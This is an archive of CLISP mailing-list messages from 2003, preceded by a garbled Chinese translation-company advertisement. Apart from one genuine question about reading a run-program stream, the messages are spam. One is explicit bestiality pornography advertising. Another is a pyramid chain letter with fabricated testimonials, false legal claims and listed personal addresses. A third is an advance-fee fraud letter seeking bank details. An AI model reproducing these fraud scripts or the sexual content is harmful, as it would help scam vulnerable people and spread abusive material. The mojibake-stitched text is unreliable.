רҵ·¶Î§£ºÉó¤»úе¡¢µç×Ó¡¢¼ÆËã»ú¡¢Í¨Ñ¶¡¢¸ÖÌú¡¢»¯¹¤¡¢Ê¯ÓÍ¡¢»·±£¡¢µÀ·¡¢ÇÅÁº¡¢Ò½Ò©ÎÀÉú¡¢Ò½ÁÆÆ÷е¡¢»¯×±Æ·¡¢ÉúÎï¡¢ÖÐÒ½Ò©¡¢·¨ÂÉ¡¢½ðÈÚ¡¢±£ÏÕ¡¢ºÏͬ¡¢Ö¤È¯¡¢½¨Öþ¡¢·¿µØ²ú¡¢ÕбêͶ±êÊé¡¢IT¡¢Áôѧ×ÊÁÏ¡¢Í¼ÊéµÈרҵ×ÊÁÏ¡£ 

·­ÒëÓïÖÖ£ºÓ¢¡¢ÈÕ¡¢µÂ¡¢¶í¡¢·¨¡¢º«ºÍÎ÷°àÑÀµÈ30¶àÖÖ

¹«Ë¾Òµ¼¨£º×Ô1995Äê´´½¨ÒÔÀ´£¬±±¾©»ªÒë·­Ò빫˾ÒÀÍÐÏÖ´úÍøÂçºÍ¼ÆËã»ú¼¼Êõ£¬ÔÚÍøÕ¾¹¤×÷ÈËÔ±ºÍ·­Òëר¼ÒµÄ¹²Í¬Å¬Á¦Ï£¬ÔÚ¹ã´ó¿Í»§ºÍÉç»á¸÷½çµÄÖ§³ÖÏ£¬Íê³ÉÁ˸ðÖÞ°ÓË®ÀûÊàŦ¹¤³Ì¡¢Íò¼ÒÕ¯Òý»Æ¹¤³ÌºÍÎ÷Æø¶«ÊäÏîÄ¿µÈ100¶à¸ö¹ú¼Ò¼¶Öش󹤳ÌÏîÄ¿µÄ·­Ò빤×÷£¬¹²Òý½ø²¢¹«¿ª³ö°æÁË0¶à²¿¹úÍâѧÊõÖø×÷£¬Í¬Ê±ÎªÆäËû´óÅúÆóÊÂÒµµ¥Î»¡¢»ú¹ØÍÅÌåºÍ¸öÈËÍê³ÉÁËÊýǧÍò×ÖµÄ×ÊÁÏ·­ÒëºÍ´óÁ¿ÏÖ³¡·­Ò빤×÷£¬Îª·±ÈÙÎÒ¹ú¾­¼ÃºÍÎÄ»¯ÊÂÒµ·¢»ÓÁ˾޴óµÄ×÷Óá£

³ÏƸӢ²Å£º»¶Ó­·­ÒëÓ¢²Å¼ÓÃË£¬ÒªÇóÖÐÍâÎÄˮƽ¾ã¼Ñ£¬¾ßÓÐÉîºñרҵ±³¾°£¬Ä긻Á¦Ç¿£¬Ó¢Îİ˼¶ÒÔÉÏ£¬ÆäËûÓïÖÖµÄÒ²Ó¦´ïÏ൱ˮƽ£¬·ÇµäʱÆÚÕýºÃÔÚ¼Ò×ö·­Òë¡£

Ƹ³ö°æÓ¢²Å£ºÁíÆ¸ÊýÃûͼÊé±à¼­¡¢²ß»®¡¢·âÃæÉè¼ÆºÍ·¢ÐÐÈËÔ±¡£

E-mail:  beijing2188@sohu.com ¾ÜÊÕ¸ÃÐÅÇëµã translation18@sohu.com

y24СʱÖçÒ¹·þÎñ    yÃâ·ÑÈ¡ËÍ  y½Ú¼ÛÈÕ²»ÐÝÏ¢

From freeclipyakkdsko@bakerweb.net Fri Jun 27 22:54:55 2003 Received: from [63.144.58.79] (helo=mail79.littlesinger.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19W8fj-0002Tb-00 for ; Fri, 27 Jun 2003 22:54:52 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <1056773382.6305@mail79.littlesinger.com> X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 From: freeclipsdaxvvhx@bakerweb.net Subject: [clisp-list] SEE Teen Farm Girls Have Sex with their animals Free! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 22:55:05 2003 X-Original-Date: Sat, 28 Jun 2003 00:09:42 -0500 SEE Teen Farm Girls Have Sex with their animals Free! You think you have seen some pretty crazy porn on the internet? YOU HAVEN'T SEEN SHIT! I saw the most unbelievable movie clip ever to grace the internet! These guys put up a clip of a beautiful teen farm girl who actually fucks her horse!NO BULLSHIT,SHE ACTUALLY FUCKS A HORSE WITH A 31 INCH COCK! http://www.xtrameg.com/mm1/ THE MOVIE QUALITY IS GREAT AND HAS SOUND TOO! IT IS UNBELIEVABLE! THIS LITTLE SLUT CAN REALLY HANDLE A GIANT HORSE COCK IN HER TIGHT LITTLE TEEN PUSSY LIKE YOU WOULD NOT BELIEVE! YOU HAVE TO WATCH THIS CLIP BEFORE SOMEONE FINDS IT AND TAKE IT OFF. http://www.xtrameg.com/mm1/ HERES THE GOOD PART. THESE GUYS AREN'T A NORMAL PORN SITE SO THEY DON'T WANT MONEY TO LET US WATCH SO ITS FREE.BUT WHAT THEY DO IS MAKE YOU TAKE THIS TEST THAT ASKS HOW BIG A HORSE DICK IS. THAT'S SOMETHING THAT ONLY PEOPLE INTO ANIMAL SEX WOULD KNOW. SO I THINK THEY ARE JUST TRYING TO MAKE SURE YOU ARE SOMEONE WHOS INTO THIS STUFF..NOT SOMEONE WHO WANTS TO BUST THEM. SO IF YOU'RE LIKE ME AND DON'T KNOW ANYTHING ABOUT ANIMALS JUST GUESS THE SIZE. THERE ARE ONLY 3 CHOICES AND IF YOU GET IT RIGHT YOU'RE IN. YOU GET TO WATCH THE WHOLE CLIP..AND HEY DO NOT FORGET TO SAVE IT CUZ YOU'LL WANT TO WATCH IT AGAIN OR SHOW IT TO YOUR FRIENDS LATER!CLICK ON THE LINK BELOW TO WATCH THIS LITTLE SLUT FUCK HER HORSE FOR 8 MINUTES! DO NOT FORGET TO SAVE IT SO YOU CAN WATCH IT AGAIN LATER! http://www.xtrameg.com/mm1/ pyvfc-yvfg^yvfgf(fbheprsbetr(arg From mkup@ozemail.com.au Fri Jun 27 23:19:05 2003 Received: from bmkind.lnk.telstra.net ([139.130.51.118] helo=garfield.bmk.com.au) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19W938-0007Yn-00 for ; Fri, 27 Jun 2003 23:19:03 -0700 Received: from brendan (arlene.bmk.com.au [203.36.170.243]) by garfield.bmk.com.au (8.12.8/8.12.8) with SMTP id h5S6Ivo2049848 for ; Sat, 28 Jun 2003 16:18:57 +1000 (EST) Message-Id: <200306280618.h5S6Ivo2049848@garfield.bmk.com.au> X-Sender: mkup@pop.ozemail.com.au (Unverified) X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: clisp-list@lists.sourceforge.net From: "M.K." Subject: [clisp-list] (ext:run-program) newbie having problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 23:20:02 2003 X-Original-Date: Sat, 28 Jun 2003 16:18:57 +1000 (EST) Hi, I am having trouble reading from the I/O stream created when I run /bin/ftp on my linux system. This is what I am doing: (setq iostm (ext:run-program "/bin/ftp" :input :stream :output :stream)) iostm => # When I try to (read-char iostm) it just hangs. Given that the ftp program normally presents stdout with the prompt "ftp> ", I was expecting to see #\f as the first char. Would appreciate some help, Thanks, M.K. From ivh6ul@yahoo.com Sat Jun 28 00:53:00 2003 Received: from hsdbyk64-110-231-22.sasknet.sk.ca ([64.110.231.22]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WAUy-0005ws-00; Sat, 28 Jun 2003 00:51:58 -0700 Received: from [170.72.241.219] by hsdbyk64-110-231-22.sasknet.sk.ca with SMTP for ; Sat, 28 Jun 2003 10:45:17 +0200 Message-ID: From: "Williams Coulter" Reply-To: "Williams Coulter" To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook, Build 10.0.2627 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="FC6.023.A8.C.6DA" X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] This is a real and valid opportunity m dshtgmizcawgv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 00:53:12 2003 X-Original-Date: Sat, 28 Jun 03 10:45:17 GMT --FC6.023.A8.C.6DA Content-Type: text/plain; Content-Transfer-Encoding: quoted-printable If you don't read ANYTHING else, and if you end up deleting this email, just read only the next paragraph ! It will change your life! Why do you think this email keeps showing up in your inbox? Because this system WORKS, thats why! Are you still one of the sceptics that thinks that no one makes any money with this program? Well, if you answered "Yes", you are WRONG. It costs MONEY to send these emails, and therefore people are making a LOT of money sending this program, and having FUN at the same time! If there was no money being made with this program, it wouldn't be able to continue..... but it's like the energizer bunny, it just keeps going and going.... If you want to find out how this works, simply read the REST of the story.= . READ THIS MESSAGE if you are like me and want more than your lousy weekly paycheck. Make more in a few months than last year at work. Believe it, and work it. This HONESTLY WORKS, don't make the same mistake I made. I deleted this 7 or 8 times before finally giving it a try. Within 2 weeks the orders (money) started coming in just like the plan below said it would. Give it a try!! You will be glad you did. ******************************************************** First read about how a 15 year old made $71,000. See below... AS SEEN ON NATIONAL TV: This is the media report. PARENTS OF 15 - YEAR OLD - FIND $71,000 CASH HIDDEN IN HIS CLOSET! Does this headline look familiar? Of course it does. You most likely have just seen this story recently featured on a major nightly news program (USA). And reported elsewhere in the world (including my neck of the woods - New Zealand). His mother was cleaning and putting laundry away when she came across a large brown paper bag that was suspiciously buried beneath some clothes and a skateboard in the back of her 15-year-old son's closet. Nothing could have prepared her for the shock she got when she opened the bag and found it was full of cash. Five-dollar bills, twenties, fifties and hundreds all neatly rubber-banded in labeled piles. "My first thought was that he had robbed a bank, says the 41-year-old woman, "There was over $71,000 dollars in that bag--that's more than my husband earns in a year. The woman immediately called her husband at the car-dealership where he worked to tell him what she had discovered. He came home right away and they drove together to the boy's school and picked him up. Little did they suspect that where the money came from was more shocking than actually finding it in the closet. As it turns out, the boy had been sending out, via E-mail, a type of "Report" to E-mail addresses that he obtained off the Internet. Everyday after school for the past 2 months, he had been doing this right on his computer in his bedroom. "I just got the E-mail one day and I figured what the heck, I put my name on it like the instructions said and I started sending it out", says the clever 15-year-old. The E-mail letter listed 5 addresses and contained instructions to send one $5 dollar bill to each person on the list, then delete the address at the top and move the other addresses down, and finally to add your name to the top of the list. The letter goes on to state that you would receive several thousand dollars in five-dollar bills within 2 weeks if you sent out the letter with your name at the top of the 5-address list. "I get junk E-mail all the time, and really did not think it was going to work", the boy continues. Within the first few days of sending out the E-mail, the Post Office Box that his parents had gotten him for his video-game magazine subscriptions began to fill up with not magazines, but envelopes containing $5 bills. "About a week later I rode [my bike] down to the post office and my box had 1magazine and about 300 envelopes stuffed in it. There was also a yellow slip that said I had to go up to the [post office] counter. "I thought I was in trouble or something (laughs)". He goes on, "I went up to the counter and they had a whole box of more mail for me. I had to ride back home and empty out my back pack because I couldn't carry it all." Over the next few weeks, the boy continued sending out the E-mail. "The money just kept coming in and I just kept sorting it and stashing it in the closet, barely had time for my homework". He had also been riding his bike to several of the banks in his area and exchanging the $5 bills for twenties, fifties, and hundreds. "I didn't want the banks to get suspicious so I kept riding to different banks with, like, five thousand at a time in my backpack. I would usually tell the lady at the bank counter that my dad had sent me in to exchange the money and he was outside waiting for me. One time the lady gave me a really strange look and told me that she would not be able to do it for me and my dad would have to come in and do it, but I just rode to the next bank down the street (laughs)." Surprisingly, the boy did not have any reason to be afraid. The reporting news team examined and investigated the so-called "chain-letter" the boy was sending out and found that it was NOT a chain-letter at all. In fact, it was completely legal according to US Postal and Lottery Laws, Title 18, Section 1302 and 1341, or Title 18, Section 3005 in the US code, also in the code of federal regulations, Volume 16, Sections 255 and 436, which state a product or services must be exchanged for money received. Every five -dollar bill that he received contained a little note that read, "Please send me report number XYX". This simple note made the letter legal because he was exchanging a service (a Report on how-to) for a five-dollar fee. [This is the end of the media release. If you would like to understand how the system works and get your $71,000 - please continue reading. What appears below is what the 15-year-old was sending out on the net - YOU CAN USE IT TOO - just follow the simple instructions]. THANKS TO THE COMPUTER AGE AND THE INTERNET !! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D You will make over half million dollars every 4 to 5 months from your home !! Before you say "BULL" , please read the following . This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet , a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are "absolutely NO Laws prohibiting the participation in the program and if people can-follow the simple instructions, they are bound to make some mega bucks with only $25 out of pocket cost". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED , IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: " Thanks to this profitable opportunity , I was approached many times before but each time I passed on it. I am so happy that I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment , I received a total of $610,470.00 in 21 weeks, with money still coming in".-Pam Hedland, Fort Lee ,New Jersey. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D Here is another testimonial : "This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and "BAM"! 3 weeks later the money started POURING IN. The first month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $ 710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything." More testimonials later but first: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DPRINT THIS NOW FOR YOUR FUTURE REFERENCE=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably , PLEASE READ THE FOLLOWING....THEN READ IT AGAIN AND AGAIN !!!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED !! INSTRUCTIONS: *********** Order all 5 reports shown on the list below *********** For each report send $5 CASH ,THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. =3D=3D=3D=3D=3DWhen you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5=3D $25.00 Within a few days you will receive , via E-mail, each of the 5 reports from these 5 different individuals. SAVE THEM ON YOUR COMPUTER so they will be accessible for you to send to the 1,000's of people who will order them from you. ALSO MAKE A FLOPPY OF THESE REPORTS AND KEEP IT ON YOUR DESK IN CASE SOMETHING HAPPENS TO YOUR COMPUTER. IMPORTANT!!--DUE NOT ALTER THE NAMES OF THE PEOPLE WHO ARE LISTED NEXT TO EACH REPORT!!, or their sequence on the list, in any way other than what is instructed below in step "1 through 6" or you will lose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. REMEMBER, THIS METHOD HAS BEEN TESTED. And if you alter it, IT WILL NOT WORK!!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. BECAUSE IF YOU DO, IT WILL NOT WORK FOR YOU !! REMEMBER , HONESTY REAPS THE REWARD!!! 1.=FFFFFF85After you have ordered all 5 reports , take this advertisement and REMOVE the name and & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.=FFFFFF85.Move the name & address in REPORT #4 down to REPORT # 5. 3.=FFFFFF85Move the name & address in REPORT #3 down to REPORT #4 4.=FFFFFF85Move the name & address in REPORT #2 down to REPORT #3 5.=FFFFFF85Move the name & address in REPORT #1 down to REPORT #2 6.=FFFFFF85INSERT YOUR NAME & ADDRESS in the REPORT # 1 POSITION. PLEASE MAKE SURE YOU COPY EVERY NAME & ADDRESS ACCURATELY! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAILS LEGALLY =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also many people will send out hundreds of thousands e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1 those 10 people responded by sending out 5, 000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That =3D100 people responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send out 5000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report # 4. Whose 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH=3D500,000.00 (half million). Your total income in this example is: 1... $50 + 2... $500 + 3... $5,000 + 4... $50,000 + 5... $500,000...Grand Total=3D $555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY!!! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even =FFFFFFBC of those people mailed 100,000 e-mails each or more? There are over 175 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet will easily get a larger response. We strongly suggest you start with Method # 1 and Method # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide SAME DAY service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they can not advertise until they receive the report. <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D AVAILABLE REPORTS=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes : Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. ___________________________________________________________ PLACE YOUR ORDER FOR THESE REPORTS NOW: REPORT # 1 "The Insider's Guide to Advertising for Free on the Net" Order Report # 1 from : C. Jennings 641 Northrup Kansas City, KS 66101 USA ___________________________________________________________ REPORT # 2 "The Insider's Guide to Sending Bulk e-mail on the Net" Order Report # 2 from: T. Dickinson 6618 Butler Oaks Court Spring, TX 77389 USA ___________________________________________________________ REPORT # 3 "The Secret to Multilevel Marketing on the Net" Order Report # 3 from: Thomas C Makowski 501 Harding Ave Bayville, NJ 08721 USA ___________________________________________________________ REPORT # 4 "How to become a Millionaire utilizing MLM & the Net" Order Report # 4 from: Syd Barrett P.O. Box 41707 Eugene, OR 97404 USA ___________________________________________________________ REPORT # 5 " HOW TO SEND 1 MILLION E-MAILS FOR FREE" Order Report #5 from : Robert F Allison 131 East 217th St. Euclid, OH 44123 USA ___________________________________________________________ $$$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$$$$$ Follow these guidelines to guarantee your success : =3D=3D=3DIf you do not receive at least 10 orders for Report # 1 within 2 weeks, continue sending e-mails until you do . =3D=3D=3DAfter you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for Report # 2. If you did not, continue advertising or sending e-mails until you do. =3D=3D=3DOnce you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different Report. You can KEEP TRACK of your PROGRESS by watching which Report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business!!! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report # 1 and moved others to #2...#5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= MORE TESTIMONIALS=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D "My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving "junk mail". I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I "knew" it wouldn't work. Jody totally ignored my supposed intelligence and a few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received a total of $ 147,200.00.... all CASH! I was shocked! Needless to say, I have joined Jody in her little "hobby". -Mitchell Wolf M.D., Chicago, Illinois =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D ORDER YOUR REPORTS TODAY AND GET STARTED ON THE ROAD TO FINANCIAL FREEDOM! cxnrkpaankmrobg m bnith krwbxwely dwj --FC6.023.A8.C.6DA-- From victor37@mail.gr Sat Jun 28 01:22:49 2003 Received: from [213.255.199.4] (helo=afzhg2919.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WAyf-0000Fg-00 for ; Sat, 28 Jun 2003 01:22:34 -0700 From: "VICTOR OKAFOR" Reply-To: victor37@mail.gr To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: Subject: [clisp-list] WE NEED YOUR ASSISTANCE SOONEST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 01:23:13 2003 X-Original-Date: Sat, 28 Jun 2003 01:22:26 -0700 victor37=40mail=2Egr ENG=2E VICTOR OKAFOR=2E ATTENTION=3A THE PRESIDENT=2FMANAGING DIRECTOR DEAR SIR=2C REQUEST FOR URGENT CONFIDENTIAL BUSINESS RELATIONSHIP RE=3A TRANSFER OF US$28=2E6 AMERICAN DOLLARS INTO ACCOUNT=2E AFTER DUE DELIBERATION WITH MY COLLEAGUES=2C I DECIDED TO FORWARDTO YOU THIS BUSINESS PROPOSAL=2E WE WANT A RELIABLE PERSON WHO COULD ASSIST US TO TRANSFER THE SUM OF TWENTY EIGHT MILLION=2C SIX HUNDRED THOUSAND UNITED STATE DOLLARS =28US$28=2E6M=29 INTO HIS=2FHER ACCOUNT=2E THIS FUND RESULTED FROM AN OVER-INVOICED CONTRACT AWARED BY US UNDER THE BUDGET ALLOCATION TO MY MINISTRY AND THE BILL WAS APPROVED FOR PAYMENT BY THE CONCERNED MINISTRIES=2E THE CONTRACT WAS EXECUTED=2C COMIISSIONED AND THE CONTRACTOR WAS PAID HIS ACTUAL COST OF THE CONTRACT=2E WE ARE LEFT WITH THE BALANCE OF US$28=2E6M AS THE OVER INVOICED AMOUNT WHICH WE HAVE DELIBERATELY OVER ESTIMATED FOR OUR OWN USE BUT UNDER THE PROTOCOL DIVISION=2C CIVIL SERVANTS ARE FORBIDDEN TO OPERATE OR OWN FOREIGN ACCOUNT=2E THIS IS WHY=2C I CONTACT YOU ROR AN ASSISTANCE=2E WE HAVE AGREED TO SHARE THE MONEY AS FOLLLOWS=3A 1=2E 30% FOR YOU =28ACCOUNT OWNER=29 2=2E 60% FOR US 3=2E 10% FOR TAX=2C AS MAY BE REQUIRED BY YOUR GOVERNMENT=2E AS YOU MAY WANT TO KNOW AND TO MAKE YOU LESS CURIOUS=2C I GOT YOUR ADDRESS FROM OUR REPUTABLE CHAMBER OF COMMERCE AND INDUSTRY AND I AM THE EXECUTIVE CHAIRMAN OF THE CONTRACT AWARD COMMITTEE OF THE NIGERIAN NATIONAL PETROLEUM CORPORATION =28NNPC=29=2E THE TRANSACTION IS VERY MUCH FREE FROM ALL SORT OF RISK HENCE THE BUSINESS WAS CAREFULLY PLANNED BEFORE IT WAS EXECUTED AND WE THE N=2EN=2EP=2EC=2E OFFICALS INVOLVED IN THE DEAL HAVE PUT MANY YEARS IN SERVICES TO OUR MINISTRY=2E WE HAVE BEEN EXERCISING PATIENCE FOR THIS OPPORTUNITY FOR SO LONG AND TO MOST OF US=2C THIS IS A LIFE TIME OPPORTUNITY WE CANNOT AFFORD TO MISS=2E TO GET THIS FUND PAID INTO YOUR ACCOUNT=2C WE HAVE TO PRESENT AN INTERNATIONAL BUSINESS OUTFIT AND CONSEQUENT UPON INDICATION OF YOUR INTEREST TO FULLY ASSIST US IN THIS TRANSACTION=2C YOU ARE ADVISED TO FURNISH US WITH THE FOLLOWING=2E 1=2E YOUR BANKER=92S NAME AND ADDRESS 2=2E YOUR BANK ACCOUNT 